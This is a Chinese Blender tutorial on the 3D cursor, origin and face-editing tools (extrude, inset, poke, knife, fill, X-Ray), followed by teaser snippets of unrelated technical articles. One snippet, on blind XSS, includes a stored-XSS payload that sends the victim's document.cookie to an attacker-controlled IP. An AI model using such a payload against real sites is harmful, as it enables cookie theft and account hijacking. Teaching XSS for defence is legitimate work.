Blender--》点线面操作及其面操作的详解

接下来我会在three.js专栏中分享关于3D建模知识的文章,如果学习three朋友并且想了解和学习3D建模,欢迎关注本专栏,关于这款3D建模软件blender的安装,我在前面的文章已经讲解过了,如果不了解的朋友可以去考考古:建模软件如何加载外部3D模型?ok接下来就让我们正式的进入到3D建模的世界吧!!!

目录

游标与原点

点线面基本操作

尖分面

切割面

填充面

透视操作模式


游标与原点

游标(Cursor)是blender软件中特有的,其他的3d软件里面没有这个概念。其代表三维空间中的一个位置,默认情况下它是位于世界的中心点,也就是默认位于(0,0,0)这个位置。其特点是

代表一个坐标、并未一个物体、用于物体的定位及其出生点。

出生点:当我们新加一个物体,物体就会降落在这个出生点,也就是我们游标的这个位置。让我们进行3D建模的时候,想要屏幕画面切换到世界中心点可以通过快捷键:shift+c

游标的定位:是指将3D光标移动到特定位置的操作。通过游标的定位,用户可以方便地将操作焦点或者参考点移动到需要的位置,并且进行各种建模操作。当然游标的定位有以下两种方式:

目视定位:shift + rmb(鼠标右键),点中一个物体的某个位置游标位置就会发生变化。

这边建议我们在3d建模的时候不要点击虚空,因为如果你点击虚空的话结果就不太确定,因为虚空是无限深的,一旦你点击之后就无法真正的确定它的这个深度,换言之我们无法确定其在空间的具体位置,所以当我们使用目视定位的时候一定要点击物体的具体位置才行:

所以当我们把游标移动到物体的某个位置之后,当我们再次添加物体的时候,该物体就会出现在我们定位的游标的位置上,如下:

吸附定位: 精确的定位到具体的某个位置之上,比目视定位的精确度高。其操作步骤如下:

在点击某个物体之后,再点击下方进行模式选择,然后点击编辑模式:

选择默认的点模式,然后就可以精确的定位到某物体的边界位置:

接下来我们就选择网格中的吸附,然后选择游标的选中项就可以将游标精确的定位到这个位置:

具体的结果如下:

原点(Origin):即物体的基本点,其默认为物体的几何中心。当我们进行执行、移动、旋转、缩放时,以原点为基准点进行。

更改原点的位置很简单,在我们选中游标的具体位置之后,再切换到物体模式,鼠标右键选中设置原点即可,如下:

接下来我们就可以结合上面内容以及上篇文章的讲解,完成下面这个小练习:

点线面基本操作

我们建模就是对点线面这三种基本元素进行各种各样的操作,一条边由2个顶点连成。一个由N条边围成。其对应的相关术语如下:

顶点 Vertex、边线 Edge、面 Face

我们可以通过 tab 键进行物体模式和编辑模式两种模式的切换,然后可以长按框选按钮进行二级分类的选择,我们可以选择不同的模式可以快速的对点线面进行多项操作,熟练之后我们可以通过w键进行不同选择的模式切换。

当然我们也可以通过下面的快捷键进行具体的选择:

按 shift键 加选 / ctrl 减选 / A键 全选

面操作

细分:面的细分本质是对边的细分,一般针对四边形。我们进入到编辑模式之后,选择一个面右键选择细分,然后输入要切割的条数,最终呈现出要呈现的面数:

删除:选择一个面,按住x键进行删除,选择的方式可以是仅面或者仅面+边。不过后者会将该面周边所以的邻面都进行删除,这里一般不常用,比如我删除仅面+边的话效果如下:

挤出:选择一个面使用Extrude工具,通过拖拽手柄向外挤出,通过微调来控制挤出的长度。

当然这里我们也可以通过按住挤出选区,这里会出现二级分类,这里我们可以选择挤出流形选项,当我们往里推的时候,该面周边的面也会被消掉,如下:

内插:选择一个面选择Inset工具,鼠标放在圆圈处,鼠标按下往里拖拽进行微调。当然内插操作也是有相应的快捷键的,这里我们点击键盘上的英文状态下的 i 键可快速进入。

当然这里也可以选择外插的方式,即向外扩展一圈:

当然这里也选中两个面,然后进行内插的操作:

当然不是一个平面然后相邻的两个面,我们也可以设置内插操作:

尖分面

尖分面是从面的中心点连接到每条边进行操作,这里我拿圆柱体进行举例,进入编辑模式选择面操作点击圆柱体的顶部,然后选择尖分面进行操作:

尖分面之后,我们我们进入点操作,然后选择左侧的上下文工具栏的移动选项进行该点的移动:

当然还有一种区别于上面的算法进行分割,名称为面三角化:

这样移动的话更为整体:

如果操作面失误或者说,分割的面过多想进行融合的话,可以选择融并面的操作:

切割面

如果想手动进行面的分割的话,可以选择切刀工具 Knife ,快捷键按 K 键启动(注意是英文输入法)

按住enter或space确认完成,按esc或rmb(鼠标右键)取消,达到效果大致如下:

面的切割更多的选项以及相应的快捷键如下:

Ctrl + Z, 回撤,这一点没有必要再过多讲解,懂得都懂

Shift,吸附中点,当我们进行切割操作的时候,选择面的边的时候会被自动吸附到中点:

A,角度约束(切到正交视图)当我们进行切割操作的时候,可以进行特殊角的定位:

C,切穿(切到正交视图)当我们进行切割的时候,背面同样被我们进行切割:

关于切穿一定要切换到正交视图,否则切换的就并不是自己想要的效果了:

填充面

选中一圈边线,填充为面,将原本已经缺失的面进行相应的填充:

当然除了这个基础填充,我们也可以选择栅格填充的方式,如下我们设置了18条边的圆环,这个栅格填充方式的算法必须是偶数边,如果是奇数边的情况下,该算法就会报错,这里注意一下:

呈现的效果如下:

透视操作模式

blender右上角有一个透视操作模式 X-Ray ,在X-Ray模式下,面以透明显示,鼠标可以穿透选择

为了彰显其透视模式的作用,我们这里可以做一个简易的小水池来测试:

选择挤出面,往正方体里面进行按压,如果不开启透视模式的情况下,我们是无法把握按压水池底到什么位置合适,如下:

开启了透视模式之后,达到的效果如下:

但这并意味着我们要一直开启透视模式,还是根据自身需求进行选择,一般情况下我们是没有必要开始透视模式。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/130291.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

this和super

文章目录 this用法普通的直接引用区分形参与实参 super用法普通的直接引用区分子类与父类同名的属性或方法 this和super 与 构造方法总结 this this引用表示当前对象对象的引用。 用法 普通的直接引用 public class Test {int a ;int b;public Test() {this.b 0;} }调用当…

mysql的sql_mode参数

msql修改了这个参数,首先mysql需要重新才能生效,还有就是java连接的springboot项目也需要重新启动。之前是遇到了下面的这个报错。只需要把sql_mode设置为空,重启mysql和服务就行 报错 In aggregated query without GROUP BY, expression #1…

使用 pubsub-js 进行消息发布订阅

npm 包地址 github 包地址 pubsub-js 是一个轻量级的 JavaScript 基于主题的消息订阅发布库 ,压缩后小于1b。它具有使用简单、性能高效、支持多平台等优点,可以很好地满足各种需求。 功能特点: 无依赖同步解耦ES3 兼容。pubsub-js 能够在…

Vatee万腾外汇数字化策略:Vatee科技决策力的未来引领

在外汇市场,Vatee万腾通过其前瞻性的外汇数字化策略,正引领着科技决策的未来。这一数字化策略的崭新愿景为投资者提供了更智慧、更高效的外汇投资体验,成为科技决策领域的翘楚。 Vatee万腾的外汇数字化策略是科技决策力未来引领的典范。通过运…

C# PaddleInference.PP-HumanSeg 人像分割 替换背景色

效果 项目 VS2022.net4.8OpenCvSharp4Sdcb.PaddleInference 包含4个分割模型 modnet-hrnet_w18 modnet-mobilenetv2 ppmatting-hrnet_w18-human_512 ppmattingv2-stdc1-human_512 代码 using OpenCvSharp; using Sdcb.PaddleInference; using System; using System.Col…

Springboot SpringCloudAlibaba Nacos 项目搭建

依赖版本: spring-boot:2.3.12.RELEASE spring-cloud-alibaba:2.2.7.RELEASE spring-cloud:Hoxton.SR12 nacos:2.0.3 1.部署搭建Nacos注册中心 Linux Nacos 快速启动_nacos linux快速启动-CSDN博客 2.构建项目 源码地…

STM32——STM32F4系统架构

文章目录 前言STM32F4XX系统架构 前言 本篇文章为STM32F4系列的系统架构,因为最近在学习F4的板子,暂时先更F4的,有需要F1的后续再更新。 主系统由 32 位多层 AHB 总线矩阵构成,可实现以下部分的互连: STM32F4XX系统架…

19. 深度学习 - 用函数解决问题

文章目录 Hi, 你好。我是茶桁。 上一节课,我们从一个波士顿房价的预测开始写代码,写到了KNN。 之前咱们机器学习课程中有讲到KNN这个算法,分析过其优点和缺点,说起来,KNN这种方法比较低效,在数…

万能在线预约小程序系统源码 适合任何行业在线预约小程序+预约到店模式 带完整的搭建教程

大家好啊,源码小编又来给大家分享啦!随着互联网的发展和普及,越来越多的服务行业开始使用在线预约系统以方便客户和服务管理。例如,美发店、健身房、餐厅等都可以通过在线预约系统提高服务效率,减少等待时间&#xff0…

开机自启动笔记本的小键盘

虽然电脑开机次数不多,但每次开机都要摁下小键盘的开关,好烦 终于忍不住了: 将下面文件命名为 XXX.bat echo off rem 禁用批处理文件中的命令回显,以使输出更整洁rem 查询注册表中 "InitialKeyboardIndicators" 的值 r…

赛氪中西部外语翻译大赛入榜2023国内翻译赛事发展评估报告

中西部外语翻译大赛入选中国外文局CATTI项目管理中心和中国外文界平台联合发布《2023国内翻译赛事发展评估报告》 近日,中国外文局CATTI项目管理中心和中国外文界平台联合发布了《2023国内翻译赛事发展评估报告》,报告对国内主流外语翻译赛事进行了问卷调…

【微服务专题】手写模拟SpringBoot

目录 前言阅读对象阅读导航前置知识笔记正文一、工程项目准备1.1 新建项目1.1 pom.xml1.2 业务模拟 二、模拟SpringBoot启动:好戏开场2.1 启动配置类2.1.1 shen-base-springboot新增2.1.2 shen-example客户端新增启动类 三、run方法的实现3.1 步骤一:启动…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Windows 安装 Maven

Maven 安装 Maven 下载地址&#xff1a;https://maven.apache.org/download.cgi 下载 apache-maven-3.9.5-bin.zip 到本地解压到 D:\Software\apache-maven-3.9.5 配置阿里云镜像 配置阿里云远程仓库镜像地址&#xff0c;打开配置文件 D:\Software\apache-maven-3.9.5\conf\s…

在gitlab中的使用kaniko打造流水线

文章目录 kaniko工具介绍环境说明系统版本组件版本组件部署参考链接 部署harbor下载解压、创建相关目录配置部署 gitlab集成harbor集成项目ci配置最终结果 kaniko工具介绍 kaniko 是一种从容器或 Kubernetes 集群内的 Dockerfile 构建容器镜像的工具。 kaniko 解决了使用 Doc…

听GPT 讲Rust源代码--library/core/src

题图来自 The first unofficial game jam for Rust lang![1] File: rust/library/core/src/hint.rs rust/library/core/src/hint.rs文件的作用是提供了一些用于提示编译器进行优化的函数。 在Rust中&#xff0c;编译器通常会根据代码的语义进行自动的优化&#xff0c;以提高程序…

Wix使用velo添加Google ads tag并在form表单提交时向谷歌发送事件

往head里加代码时&#xff0c;不能看谷歌的代码&#xff0c;要看wix的代码&#xff0c;不然必定踩坑 https://support.wix.com/en/article/tracking-google-ads-conversions-using-wix-custom-code 这里的代码才对&#xff0c;因为wix搞了个velo&#xff0c;这个velo很傻x&am…

RESTFUL是什么,为什么使用,有什么优点

ESTful&#xff08;Representational State Transfer&#xff09;是一种软件架构风格&#xff0c;用于设计网络应用程序和服务。它是一种面向资源的设计理念&#xff0c;强调资源的标识、表现层和统一接口。RESTful 架构的设计原则和优点使得它成为构建分布式系统和 Web 服务的…

带你走进Cflow (三)·控制符号类型分析

目录 ​编辑 1、控制符号类型 1.1 语法类 1.2 符号别名 1.3 GCC 初始化 1、控制符号类型 有人也许注意到了输出中奇怪的现象&#xff1a;函数_exit 丢失了&#xff0c;虽然它在源文件中被printdir 调用了两次。这是因为默认情况下 cflow 忽略所有的一下划线开头的符号…

gird 卡片布局

场景一&#xff1a;单元格大小相等 这承载了所有 CSS Grid 中最著名的片段&#xff0c;也是有史以来最伟大的 CSS 技巧之一&#xff1a; 等宽网格响应式卡片实现 .section-content {display: grid;grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));gap: 10px; …